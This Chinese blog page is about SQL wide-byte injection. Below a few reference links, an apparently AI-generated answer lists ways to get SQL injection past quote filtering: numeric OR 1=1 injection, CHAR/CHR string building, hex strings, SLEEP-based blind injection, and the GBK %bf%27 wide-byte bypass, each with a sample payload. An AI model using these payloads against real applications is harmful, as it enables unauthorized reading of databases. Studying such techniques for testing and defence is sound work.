sql宽字节注入,绕过单引号

本文汇总了多个外部链接资源,涉及不同主题和技术领域。具体内容包括Lofter上的一篇文章和Huaidan网站上的档案,同时还提及了一个关于MySQL_real_escape_string与预处理语句的比较文章。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

参加下面:

http://leapar.lofter.com/post/122a03_3028a9

http://huaidan.org/archives/2268.html

 

https://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html

<think>好的,我现在需要解决用户的问题:如何绕过SQL注入中的单双引号限制。用户提到他们想寻找方法绕过这种限制,所以我要先理解为什么单双引号会被限制,以及常见的绕过技术有哪些。 首先,SQL注入通常依赖于在输入中插入引号来闭合原有的SQL语句,从而注入恶意代码。如果应用程序过滤或转义了单引号(')和双引号("),那么传统的注入方法可能失效。比如,原本的注入可能是' OR 1=1 --,但如果引号被处理了,这样的攻击就会失败。 接下来,我需要回忆或查找绕过这些限制的技术。可能的思路有几个方向: 1. **不使用引号的注入方式**:比如利用数字型注入,如果参数是整数,可能不需要引号。例如,参数为id=1,可以尝试1 OR 1=1,但需要看上下文是否允许。 2. **使用字符串连接函数**:不同的数据库有不同的字符串连接方式,比如MySQL的CONCAT(),或者Oracle的||操作符。例如,如果输入被过滤了引号,可以尝试用CHAR函数生成字符,如CHAR(65)表示'A',这样组合起来可以构造字符串而不使用引号。 3. **十六进制编码**:某些数据库支持十六进制表示的字符串,比如0x414243表示'ABC',这样就不需要引号了。需要检查目标数据库是否支持这种语法。 4. **使用注释干扰**:有时候在SQL语句中插入注释可以改变解析方式,例如利用/*...*/或--来截断部分查询,可能绕过某些过滤。 5. **宽字节注入**:如果应用程序使用特定的字符集(如GBK),可能通过输入特殊字符导致转义失效,从而引入引号。例如,%bf%27可能会被转义为%bf%5c%27,但某些情况下可能变成有效的宽字符,从而保留单引号。 6. **利用数据库特性**:不同数据库可能有特定的函数或语法允许无引号注入。例如,SQL Server的QUOTED_IDENTIFIER设置可能会影响引号的处理,或者使用其他函数如SUSER_NAME()获取数据。 然后,我需要验证这些方法是否有效,并考虑例子。例如,使用CHAR函数构造字符串: 假设原本的查询是SELECT * FROM users WHERE username = 'input',如果输入被过滤了单引号,可以尝试输入admin' OR 1=1--,但如果引号被转义,可能失效。这时候可以尝试用CHAR(97,100,109,105,110)代替'admin',即username = CHAR(97,100,109,105,110),这样不需要引号。 另外,数字型注入的例子:如果参数是数字型,如id=1,攻击者可以尝试注入1 OR 1=1,导致查询变成SELECT * FROM table WHERE id=1 OR 1=1,返回所有数据。 还需要注意不同数据库的差异。比如,MySQL和Oracle在字符串连接和函数使用上有所不同。例如,Oracle使用||连接字符串,而MySQL使用CONCAT()。 此外,用户提到的参考引用中提到了Oracle 10g驱动和JDBC的相关内容,这可能暗示用户的环境涉及Oracle数据库,所以在回答时需要特别考虑Oracle的特性。比如,Oracle中的CHR函数可以生成字符,或者使用UTL_HTTP包进行带外通信,但这些可能需要特定权限。 最后,需要提醒用户这些方法可能因环境和防护措施的不同而失效,同时强调防范措施的重要性,比如使用参数化查询,避免动态SQL拼接。</think>### 绕过SQL注入中单双引号限制的技术 当应用程序对单双引号进行过滤或转义时,可以通过以下方法绕过限制: 1. **数字型注入** 若参数为数字类型,直接使用数学逻辑构造注入: ```sql id=1 OR 1=1 ``` 这会形成查询`SELECT * FROM table WHERE id=1 OR 1=1`,绕过字符串引号限制。 2. **使用字符串连接函数** - **MySQL**:通过`CHAR()`函数生成字符,例如`CHAR(97)`表示`'a'` ```sql SELECT * FROM users WHERE username=CONCAT(CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110)) -- 等价于 username='admin' ``` - **Oracle**:利用`CHR()`和`||`连接符 ```sql SELECT * FROM users WHERE username=CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110) ``` 3. **十六进制编码** 部分数据库支持十六进制字符串(如MySQL): ```sql SELECT * FROM users WHERE username=0x61646D696E -- 0x61646D696E 对应 'admin' ``` 4. **基于布尔/时间的盲注** 通过条件判断或时间延迟提取数据,无需引号: ```sql SELECT IF(SUBSTRING(database(),1,1)=CHAR(97), SLEEP(5), 0) ``` 5. **宽字节注入(GBK字符集场景)** 当应用程序使用`addslashes`等函数转义单引号时,输入`%bf%27`可能绕过: ```sql %bf%27 OR 1=1 -- ``` 转义后变为`%bf%5c%27`,若数据库以GBK解析,`%bf%5c`可能合并为合法字符,使`%27`(单引号)生效[^1]。 6. **Oracle数据库特性** - 使用`CHR()`函数拼接字符串 - 利用`SYS_CONTEXT`获取系统信息 ```sql SYS_CONTEXT('USERENV','CURRENT_USER') ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值